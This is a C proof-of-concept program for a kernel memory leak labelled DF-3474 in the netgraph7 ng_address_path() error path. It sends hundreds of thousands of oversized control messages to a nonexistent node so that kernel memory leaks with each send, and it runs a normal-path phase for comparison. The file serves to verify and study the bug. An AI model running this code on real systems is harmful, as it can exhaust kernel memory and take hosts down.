/*
 * DF-3474 PoC: netgraph7 ng_address_path() error path leaks the item and
 * the whole control message payload (NG_FREE_ITEM only sets a flag;
 * nothing ever drops the item's refcount for items that are not currently
 * passing through ng_apply_item()).
 *
 * A/B experiment on ONE AF_NETGRAPH control socket:
 *   phase "good": sendto() with path "."  (our own socket node)
 *                 -> ng_address_path() succeeds -> item is applied and
 *                    freed normally.  No growth expected.
 *   phase "bad":  sendto() with path "df3474_no_such_node_xyz:"
 *                 -> ng_path2noderef() fails -> ng_address_path() calls
 *                    NG_FREE_ITEM(item) [flag only] and returns ENOENT.
 *                    item (objcache/M_NETGRAPH) + msg (M_NETGRAPH_MSG,
 *                    PAYLOAD bytes) leak PER SEND.
 *
 * Must run as root (netgraph control sockets require privilege).
 */
#include <sys/param.h>
#include <sys/socket.h>
#include <sys/types.h>
#include <errno.h>
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <unistd.h>

/* userland netgraph headers */
#include <netgraph/ng_message.h>
#include <netgraph/socket/ng_socket.h>

/* The stock userland <netgraph/ng_message.h> is for the OLD sys/netgraph
 * stack (NG_VERSION 2). The netgraph7 kernel stack expects NG_VERSION 8. */
#ifndef NG7_VERSION
#define NG7_VERSION	8
#endif

/* variable-length sockaddr_ng: sg_data is declared [14] but is really
 * as long as sg_len says; use a padded buffer for long paths */
struct sa_ng_big {
	struct sockaddr_ng	sg;
	char			pad[64];
};

#define PAYLOAD_SZ  4096
#define ITERS       250000

static struct ng_mesg *
make_msg(char *buf, size_t bufsz, u_int32_t cmd)
{
	struct ng_mesg *m = (struct ng_mesg *)buf;

	memset(buf, 0, bufsz);
	m->header.version = NG7_VERSION;
	m->header.typecookie = NGM_GENERIC_COOKIE;
	m->header.cmd = cmd;
	m->header.arglen = PAYLOAD_SZ - sizeof(struct ng_mesg);
	memcpy(m->data, "DF3474LEAK", 10);
	return (m);
}

static void
run_phase(int cs, const char *path, const char *tag, int iters)
{
	char buf[sizeof(struct ng_mesg) + PAYLOAD_SZ];
	long ok = 0, fail = 0;
	long errnos[256];
	int i;

	memset(errnos, 0, sizeof(errnos));

	for (i = 0; i < iters; i++) {
		struct sa_ng_big sb;
		size_t plen = strlen(path);

		make_msg(buf, sizeof(buf), NGM_LISTNODES);
		memset(&sb, 0, sizeof(sb));
		sb.sg.sg_len = plen + 3;	/* family byte + NUL + align */
		sb.sg.sg_family = AF_NETGRAPH;
		memcpy(sb.sg.sg_data, path, plen + 1);

		/*
		 * sendto on an NG_CONTROL socket -> ngc_send() ->
		 * ng_address_path(sockdata->node, item, path, 0).
		 */
		if (sendto(cs, buf, sizeof(buf), 0,
			   (struct sockaddr *)&sb.sg, sb.sg.sg_len) < 0) {
			fail++;
			if (errno < 200)
				errnos[errno]++;
		} else {
			ok++;
		}
		/* drain responses continuously so the good path never
		 * hits ENOBUFS backpressure (keeps the A/B clean) */
		{
			char rb[65536];
			while (recv(cs, rb, sizeof(rb), MSG_DONTWAIT) > 0)
				;
		}
	}
	printf("[%s] sendto ok=%ld fail=%ld (%d iters, %d bytes each)\n",
	    tag, ok, fail, iters, (int)sizeof(buf));
	for (i = 0; i < 256; i++)
		if (errnos[i])
			printf("[%s]   errno %d (%s): %ld\n",
			    tag, i, strerror(i), errnos[i]);
}

int
main(int argc, char **argv)
{
	int cs;
	const char *mode = (argc > 1) ? argv[1] : "both";

	if (geteuid() != 0) {
		fprintf(stderr, "must run as root (control socket)\n");
		return (1);
	}

	cs = socket(AF_NETGRAPH, SOCK_DGRAM, NG_CONTROL);
	if (cs < 0) {
		perror("socket(AF_NETGRAPH, NG_CONTROL)");
		return (1);
	}
	printf("control socket fd=%d mode=%s\n", cs, mode);

	if (strcmp(mode, "good") == 0 || strcmp(mode, "both") == 0) {
		printf("phase GOOD path=. ...\n");
		run_phase(cs, ".", "good",
		    (argc > 2) ? atoi(argv[2]) : ITERS);
	}
	if (strcmp(mode, "bad") == 0 || strcmp(mode, "both") == 0) {
		printf("phase BAD path=df3474_no_such_node_xyz: ...\n");
		run_phase(cs, "df3474_no_such_node_xyz:", "bad",
		    (argc > 2) ? atoi(argv[2]) : ITERS);
	}

	close(cs);
	printf("done\n");
	return (0);
}
